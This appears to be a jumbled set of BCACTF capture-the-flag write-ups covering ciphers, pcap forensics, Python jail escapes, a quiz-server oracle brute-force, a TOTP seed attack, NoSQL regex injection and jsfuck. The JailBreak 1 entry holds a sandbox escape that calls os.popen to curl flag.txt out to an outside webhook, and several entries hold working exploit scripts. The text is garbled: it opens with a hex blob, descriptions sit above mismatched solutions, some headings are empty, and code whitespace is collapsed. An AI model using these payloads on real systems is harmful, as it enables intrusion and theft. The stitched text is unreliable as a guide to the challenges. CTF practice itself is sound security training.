A13*316B65B431686#6465B731A1B7A6A43#19466DB3316A6762B331A6A23*316B65B431686#6465B731A1B7A4623#19466DB3316A6762B331A6A33*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A6AA3*316B65B431686#6465B731A1B7A6643#19466DB3316A6762B331A6A43*316B65B431686#6465B731A1B7A16A3#19466DB3316A6762B331A6A53*316B65B431686#6465B731A1B7AB6A3#19466DB3316A6762B331A6A63*316B65B431686#6465B731A1B7A4A23#19466DB3316A6762B331A6AB3*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A6A73*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331A6A83*316B65B431686#6465B731A1B7A5A63#19466DB3316A6762B331ABA13*316B65B431686#6465B731A1B7A2633#19466DB3316A6762B331ABA23*316B65B431686#6465B731A1B7ABA63#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#194BA74C53B5BBB258A35DBB4BA7B4A163A2666865514A4B6B516DA74740AA5663A24063B3B26*6#A465B7BAA168A4625D6*A55254B869644DB3B9694*684CB9A1B14AB3465745A26*685443B95A6B4B53525A6A5A685DA153BB595AA66747596A4D4*A56BA663A44#4D6*665D46AB6#B642B1404560A444B2B54249B5A8456*48"
# Decode the messagedecoded_message =''.join(mapping.get(char, char) for char in encoded_message)print(decoded_message)
Decoded message:
Hello. Welcome to the BCACTF Helpline.
This call may be recorded for quality assurance purposes.
For char 0, get index 0x36.
For char 1, get index 0x0d.
For char 2, get index 0x74.
For char 3, get index 0x11.
For char 4, get index 0x2f.
For char 5, get index 0x26.
For char 6, get index 0x13.
For char 7, get index 0x0d.
For char 8, get index 0x25.
For char 9, get index 0x12.
For char 10, get index 0x11.
For char 11, get index 0x34.
For char 12, get index 0x55.
For char 13, get index 0x2e.
For char 14, get index 0x40.
For char 15, get index 0x71.
For char 16, get index 0x55.
For char 17, get index 0x65.
For char 18, get index 0x2e.
For char 19, get index 0x36.
For char 20, get index 0x09.
For char 21, get index 0x09.
For char 22, get index 0x12.
For char 23, get index 0x26.
For char 24, get index 0x0d.
For char 25, get index 0x13.
For char 26, get index 0x42.
For char 27, get index 0x26.
For char 28, get index 0x13.
For char 29, get index 0x0d.
For char 30, get index 0x6b.
For char 31, get index 0x0f.
For char 32, get index 0x2e.
For char 33, get index 0x36.
For char 34, get index 0x6b.
For char 35, get index 0x2f.
For char 36, get index 0x2c.
For char 37, get index 0x74.
For char 38, get index 0x09.
For char 39, get index 0x24.
For char 40, get index 0x7b.
For char 41, get index 0x3c.
For char 42, get index 0x0d.
For char 43, get index 0x0d.
For char 44, get index 0x2c.
For char 45, get index 0x26.
For char 46, get index 0x4d.
For char 47, get index 0x6b.
For char 48, get index 0x5f.
For char 49, get index 0x0d.
For char 50, get index 0x6a.
For char 51, get index 0x55.
For char 52, get index 0x2f.
For char 53, get index 0x20.
For char 54, get index 0x08.
For char 55, get index 0x1d.
For char 56, get index 0x70.
For char 57, get index 0x2f.
For char 58, get index 0x2d.
For char 59, get index 0x31.
For char 60, get index 0x64.
For char 61, get index 0x4a.
For char 62, get index 0x55.
For char 63, get index 0x6d.
For char 64, get index 0x0c.
For char 65, get index 0x7c.
For char 66, get index 0x41.
For char 67, get index 0x55.
For char 68, get index 0x53.
For char 69, get index 0x56.
For char 70, get index 0x1b.
For char 71, get index 0x76.
Please hold while we send you random garbage that you should index into to get the flag.
When you're finished, make sure to wrap the flag in the proper format.
G8KRuwqY2_wG8t0b1fiePCGgPo8HM3Vb1Mbrqln4exs0i4a_l5QTyjdOrzjLiKz0pCrFXE1liTBzSgGRQScSi_0RwZS6hHZcOL5g6b4NOlf_F7nvApMEm4DquAJu9ElI
# Given indices in hexadecimalhex_indices = ["0x36","0x0d","0x74","0x11","0x2f","0x26","0x13","0x0d","0x25","0x12","0x11","0x34","0x55","0x2e","0x40","0x71","0x55","0x65","0x2e","0x36","0x09","0x09","0x12","0x26","0x0d","0x13","0x42","0x26","0x13","0x0d","0x6b","0x0f","0x2e","0x36","0x6b","0x2f","0x2c","0x74","0x09","0x24","0x7b","0x3c","0x0d","0x0d","0x2c","0x26","0x4d","0x6b","0x5f","0x0d","0x6a","0x55","0x2f","0x20","0x08","0x1d","0x70","0x2f","0x2d","0x31","0x64","0x4a","0x55","0x6d","0x0c","0x7c","0x41","0x55","0x53","0x56","0x1b","0x76"]# The string to index intorandom_garbage ="G8KRuwqY2_wG8t0b1fiePCGgPo8HM3Vb1Mbrqln4exs0i4a_l5QTyjdOrzjLiKz0pCrFXE1liTBzSgGRQScSi_0RwZS6hHZcOL5g6b4NOlf_F7nvApMEm4DquAJu9ElI"# Convert hex indices to decimaldecimal_indices = [int(hx, 16)for hx in hex_indices]# Extract characters from the random garbage stringflag =''.join(random_garbage[idx] for idx in decimal_indices)# Wrap the flag in the proper formatformatted_flag =f"bcactf{{{flag}}}"print(formatted_flag)# bcactf{dtmf_netlify_app_bad__internet_bad__im_quitting_ctf__123A_456B_789C_S0HD}
Wiretapped (20 solves)
Description:
I've been listening to this cable between two computers, but I feel like it's in the wrong format.
A certain type of file is embedded in the .wav file - see if you can extract itFamiliarize yourself with the application used to view the file
Solution:
Basically, it's a pcap starting from the 2nd line. Delete the first line to get the pcap, and then:
ββ$ strings wiretapped.pcap 130 β¨―
...
BxN$
hello there host computer
6JRT
6JRT
hello there vm
(G @
do you know what the flag is
6JRT
...
6JRT
yeah i think it starts with bcactf{
ok and the rest of it?
...
6JRT
uhh... listening_ ... i forgot the rest but i have it in an image somewhere, i'll send it to you
Get the image by looking at the pcap traffic, can follow stream once the bytes start then copy the raw to a file, trim the header.
Can access the locked Sheet 2 by downloading the html version, then sort based on the 3rd column and save the least significant bits following the hint in the first row of sheet 2. Easy to do everything with vim so just did column sort, align, and ctrl+v block select, can build a script otherwise.
For reference:
Lurking shadows, secrets play, Stealthy whispers on display. BITS aligned, LEAST in SIGht, Gleams of secrets, veiled in light.
Description:
Take a tour of the deep sea! Explore the depths of webpage secrets and find the hidden treasure. Pro tip: Zoom out!
Press F12 or Ctrl+Shift+I on Windows (Cmd+Option+I on Mac OS) to launch DevToolsSome parts have hints in the console
Solution:
I'm a bit surprised this has so many more solves than the others but basically just web stuff, flag parts hidden in javascript files and treasure isn't displayed but can be navigated to in url directly.
bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3}
Misc
JailBreak 2 (151 solves)
Description:
The prison has increased security measures since you last escaped it. Can you still manage to escape?
We have a limited character set:
BANNED_CHARS = "gdvxfiyundmnet/\'~`@#$%^&.{}0123456789"
One of the main functions available is locals() and running main.py locally with sanitized disabled, eventually I see we can print the flag in an error with locals()[locals()['flag']]. Since f and g banned, we need to create that, I built a converter to optimally convert strings to symbols. I optimized it to shorten the output length (creating 64 with 1<<7) so it would work for the revenge challenge.
defstring_to_symbols(input_string):defconvert_to_symbols(char): ascii_value =ord(char) base_value =64 base_pattern ='((()==())<<((()==())+(()==())+(()==())+(()==())+(()==())+(()==())))'if ascii_value >=64: remaining_value = ascii_value - base_value symbols =f"chr({base_pattern}"+"+(()==())"*remaining_value +")"else: symbols ="chr((()==())"+"+(()==())"*(ascii_value-1) +")"return symbols result ='+'.join(convert_to_symbols(char) for char in input_string)return resultinput_string ="flag"output =string_to_symbols(input_string)print(output)
Physics Test (94 solves)
Description:
Help me get an A in Physics! My teacher made this review program for us.
Resources:
Netcat Links:nc challs.bcactf.com 30586
Hints:
How is the program checking your answer? After all, it's possible to write a correct answer in multiple ways (e.g. x+y vs y+x vs 0+x+y, etc).What information/feedback do you get from each question? How can you use it to your advantage?
Solution:
There are three different questions the server can ask, and it's pretty clear that the solution won't be found by solving enough questions after a while, so we need to find a way to confirm knowledge about the flag in the correctness response. I built a script that will skip until the spring question is asked (answer is normally x * y), then multiply by the character value of a specific position of the flag and divide by a guess. Ran this until every character was guessed.
Question 4: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)
Answer:
Trying payload: x*y*ord(flag[7])/121
Received response: Good job!
y
[*] Closed connection to challs.bcactf.com port 30586
Flag so far: bcactf{yxxxxxxxxxxxxxxxxxxxxxxxx}
[+] Opening connection to challs.bcactf.com on port 30586: Done
Received question: Welcome to the Midterm Review!
This review will test your knowledge of physics formulas we have learned this unit.
Be sure to write all of your answers in terms of x and y!
---------------------------------------------------------------------
Question 1: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)
Answer:
Trying payload: x*y*ord(flag[8])/48
Received response: TEST FAILED!
[*] Closed connection to challs.bcactf.com port 30586
from pwn import*import string# Server connection detailsHOST ='challs.bcactf.com'PORT =30586# Known format of the flag and its lengthFLAG_FORMAT ='bcactf{'+'x'*25+'}'FLAG_LENGTH =len(FLAG_FORMAT)# Function to connect to the server and answer questionsdefget_flag_character(position):for char in string.printable: conn =remote(HOST, PORT) flag_character =Nonefor i inrange(100):# Arbitrarily large number to ensure it finds the spring question question = conn.recvuntil(b'Answer: ')print(f"Received question: {question.decode()}")# Debugging: print the question receivedifb'spring constant'in question:try:# Calculate the payload payload =f"x*y*ord(flag[{position}])/{ord(char)}"print(f"Trying payload: {payload}")# Debugging: print the payload being tried conn.sendline(payload.encode()) response = conn.recvline(timeout=5) response = conn.recvline(timeout=5)print(f"Received response: {response.decode()}")# Debugging: print the response receivedifb'Good job!'in response: flag_character = charprint(char)breakexceptExceptionas e:print(f"Error: {e}")# Debugging: print any errors encounteredcontinuebreakelifb'box starts at rest'in question: conn.sendline(b"1/2*x*y*y")elifb'collide perfectly inelastically'in question: conn.sendline(b"(x+2*y)/3")else: conn.sendline(b'x')# Answer other questions with 'x' conn.close()if flag_character:return flag_characterreturnNone# Brute-force the flag character by characterdefbrute_force_flag(): flag =list(FLAG_FORMAT)for i inrange(7, FLAG_LENGTH -1):# Skip 'bcactf{' and '}' flag_char =get_flag_character(i)if flag_char isNone:raiseException(f"Could not determine the character at position {i}") flag[i]= flag_charprint(f"Flag so far: {''.join(flag)}")return''.join(flag)# Get the complete flagcomplete_flag =brute_force_flag()print(f"Complete flag: {complete_flag}")# bcactf{yoU_p4ssED_b0ef030870ec18}
Miracle (46 solves)
Description:
You'll need a miracle to get this flag. The server requires you to solve an easy addition problem, but you only get the flag if the bits magically flip to form another answer.
In main.js we see it's solved if we enter 77 but becomes 63 if directly eval'ing it. 77 in octal is 63 in decimal, so we enter 077 to solve both parts.
JailBreak 1 (159 solves)
Description:
I cannot get the python file to print the flag, are you able to?
This one was a bit of a mess for me testing different built-ins. A lot of writeups skip over intermediate steps or just don't work, but I eventually settled on using wrap_close for remote command execution to send the flag to my webhook. First we print all the functions, get the offset of wrap_close (can trial/error), then give it the command to execute.
ββ$ nc challs.bcactf.com 31289 1 β¨―
Welcome to your friendly python calculator!
Enter your equation below and I will give you the answer:
().__class__.__base__.__subclasses__()
Here is your answer: [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>]
Enter your next equation below (type 'e' to exit):
().__class__.__base__.__subclasses__()[154].__name__
Here is your answer: _wrap_close
Enter your next equation below (type 'e' to exit):
().__class__.__base__.__subclasses__()[154].__init__.__globals__["popen"]("ls")
Here is your answer: <os._wrap_close object at 0x7f131ee72420>
Enter your next equation below (type 'e' to exit):
().__class__.__base__.__subclasses__()[154].__init__.__globals__["popen"]("curl -X POST -d `cat flag.txt` https://webhook.site/2d31e5f8-1bd8-4f83-8f78-66fc45c6a852")
Here is your answer: <os._wrap_close object at 0x7f131ee723c0>
Enter your next equation below (type 'e' to exit):
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 203 0 145 100 58 279 111 --:--:-- --:--:-- --:--:-- 390
This is NOT the flag (250 solves)
Description:
The flag is NOT inside this file. Do NOT even bother checking.
Refer to JailBreak 2, now we can't use =. Playing around in python interpreter, I find a new way to get true other than ()==(), which is []<[()]. Now however there's no error print so we do need to output the flag exactly, which can actually be done with locals()['flag']. I must have messed something up when trying that originally for JailBreak 2 but it works there as well.
defstring_to_symbols(input_string):defconvert_to_symbols(char): ascii_value =ord(char) base_value =64 base_pattern ='(([]<[()])<<(([]<[()])+([]<[()])+([]<[()])+([]<[()])+([]<[()])+([]<[()])))'if ascii_value >=64: remaining_value = ascii_value - base_value symbols =f"chr({base_pattern}"+"+([]<[()])"*remaining_value +")"else: symbols ="chr(([]<[()])"+"+([]<[()])"*(ascii_value-1) +")"return symbols result ='+'.join(convert_to_symbols(char) for char in input_string)return resultinput_string ="flag"output =string_to_symbols(input_string)print(output)
Use a decompilation tool such as [Binary Ninja Cloud](https://cloud.binary.ninja/)Compilation preserves the names of functions and global variables
Solution:
The = is the position to put it (e.g., left brace 7 right brace 0x14 (20) gives us bcactf{XXXXXXXXXXXX}, then fill in the rest, like line 837 means the 12th character is 0.
bcactf{5YmB0l_n4MeS}
My Brain Hurts (187 solves)
Description:
My friend sent me a weird string and a "program" they wrote, although it doesn't seem anything interpretable to me. Can you help me find out what they put through their program?
If you don't know where to start, look into an esoteric coding language called "Brain F*ck"
Solution:
Run the program and encode different things until you see there's just a constant rotation based on the input letter.
defcalculate_offsets(current_encoded,desired_encoded): offsets = []for c, d inzip(current_encoded, desired_encoded): offset =ord(d)-ord(c) offsets.append(offset)return offsetsdefapply_offsets(input_string,offsets): encoded_chars = []for i, char inenumerate(input_string):if i <len(offsets): new_char =chr(ord(char) + offsets[i])else: new_char = char encoded_chars.append(new_char)return''.join(encoded_chars)# Given input stringscurrent_encoded ="^`Zheh|dhd_e^]ZjZf`cXg]a"desired_encoded ="^`Zheh|Ey7/r\\b\\T&6r/][j}"# Calculating the offsetsoffsets =calculate_offsets(current_encoded, desired_encoded)# Applying offsets to the input stringinput_string ="bcactf{aaaaaaaaaaaaaaaaaaaaaaa}"# We need to apply the offset to the part after "bcactf{"prefix ="bcactf{"encoded_part =apply_offsets(input_string[len(prefix):], offsets)# Combining the prefix with the new encoded partfinal_encoded_string = prefix + encoded_partprint("Offsets:", offsets)print("Final Encoded String:", final_encoded_string)#Offsets: [0, 0, 0, 0, 0, 0, 0, -31, 17, -45, -48, 13, -2, 5, 2, -22, -52, -48, 18, -52, 5, -12, 13, 28]#Final Encoded String: bcactf{aaaaaaaBr41n_fcK-1s-fUn# (messed up a bit with the known offset, remove the a's)
Broken C Code (155 solves)
Description:
Help! I was trying to make a flag printer but my C code just prints random garbage and I can't figure out why! Can you help me? Here's the file:
Print out the memory after running then process based on rev.
# gdb -q ./flagprinter# (gdb) x/19gx 0x00400800# Print 152 bytesimport structimport math# Memory dump from 0x00400800data = [0x0000264c00002587,0x0000264c000024c4,0x000028a700003493,0x0000264c00003b1c,0x0000264c00002344,0x0000271300000903,0x000023440000129c,0x000014d4000028a7,0x000027dc00001e43,0x0000234400001213,0x0000144300000bd4,0x000017c700000a93,0x00000afc000015fc,0x00000bd400002344,0x000009c700000b67,0x00000bd400000a93,0x000009c700000c43,0x00000b6700000bd4,0x0000006700003d0c]# Convert each 8-byte chunk into two 4-byte integersflattened_data = []for qword in data: low = qword &0xFFFFFFFF high = (qword >>32) &0xFFFFFFFF flattened_data.append(low) flattened_data.append(high)flag = []for local_c inrange(len(flattened_data)):# Ensure we are within bounds integer_value = flattened_data[local_c] dVar6 = math.sqrt(integer_value -3) flag.append(chr(int(dVar6)))# Print the flagprint("".join(flag))#bcactf{c_c0dE_fIXeD_7H4NK5_762478276}
FPS Frenzy (68 solves)
Description:
My friend Timmy made a game at the MoCO (Master of Code Olympiad) in just 50 nanoseconds! He told me that he hid a secret text somewhere in the game and placed a bet that I would not solve it. I'm not good at games, so can you please find this text?
The name of the mod is a spoof of something else (It is Minecraft related).
Solution:
Decompile with jadx, then:
Webex
Phone number (496 solves)
Description:
I was trying to sign into this website, but now it's asking me for a phone number. The way I'm supposed to input it is strange. Can you help me sign in?
Towards the end of last month, we started receiving reports about suspicious activity coming from a company called MOC, Inc. Our investigative team has tracked down their secret company portal and cracked the credentials to the admin account, but could not bypass the advanced 2FA system. Can you find your way in?
Seed is created by the date and the description says this was towards end of last month so just test every date going backwards from 2024/05/31.
import requestsimport datetimeimport randomimport pyotp# Step 1: Recreate the TOTP Secretdefgenerate_totp_secret(date): random.seed('2024-05-27') SECRET_ALPHABET ='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'return''.join([random.choice(SECRET_ALPHABET) for _ inrange(20)])# Assuming the admin account was created on a specific date, set the date accordingly.creation_date = datetime.datetime(2023, 6, 9)# Adjust the date to the actual creation datetotp_secret =generate_totp_secret(creation_date)print(f"TOTP Secret: {totp_secret}")# Step 2: Generate the TOTP Codetotp = pyotp.TOTP(totp_secret)current_totp = totp.now()print(f"Current TOTP: {current_totp}")# Step 3: Submit the credentials and TOTP codeurl ='http://challs.bcactf.com:31772/'data ={'username':'admin','password':'admin','totp': current_totp}# Create a session to persist the cookies if neededsession = requests.Session()response = session.post(url, data=data)# Print the responseprint(response.text)#TOTP Secret: ZID4OV36AMSVZJVLUMCN#Current TOTP: 303063#<!DOCTYPE html>#<html lang="en"># <head># <meta charset="utf-8" /># <meta name="viewport" content="width=device-width,initial-scale=1.0" /># <title>MOC, Inc.</title># </head># <body># bcactf{rNg_noT_r4Nd0m_3n0uGH_a248dc91}# </body>#</html>
JSLearning.com (145 solves)
Description:
Hey, can you help me on this Javascript problem? Making strings is hard.
Do you know any ways to run JS with just those select characters?Do you notice anything vulnerable about the server?
Solution:
We have a limited charset and need to set out to be flag.
If d includes any characters other than []{}+!, it will return early. Otherwise it will eval anything that's not a function and output the result. We don't have to actually win by making it equal fun since we can control out which is always printed. Therefore the solution is to encode "out=flag" at jsfuck.com (uncheck boxes) then paste on the site.
NoSQL (255 solves)
Description:
I found this database that does not use SQL, is there any way to break it?
Looking at provided.js, name needs to be set and then it's matched in a regex. Go to http://challs.bcactf.com:30390/?name=.* and see a list of accounts, including 50: Flag Holder. Then 0 vs 1 indexing.
Tic-Tac-Toe (303 solves)
Description:
My friend wrote this super cool game of tic-tac-toe. It has an AI he claims is unbeatable. I've been playing the game for a few hours and I haven't been able to win. Do you think you could beat the AI?
Playing the game in burpsuite, we see that we actually receive the new board state through a websockets message that's what restricts us from choosing a spot the opponent moves at. Remove the "O" when it tries to block us then click it to win.
Mysterious Melody (29 solves)
Opening the wav in a text editor, we see this:
Manipulate Spreadsheet 2 (115 solves)
Sea Scavenger (558 solves)
Decompile with binary ninja to see stuff like this in it: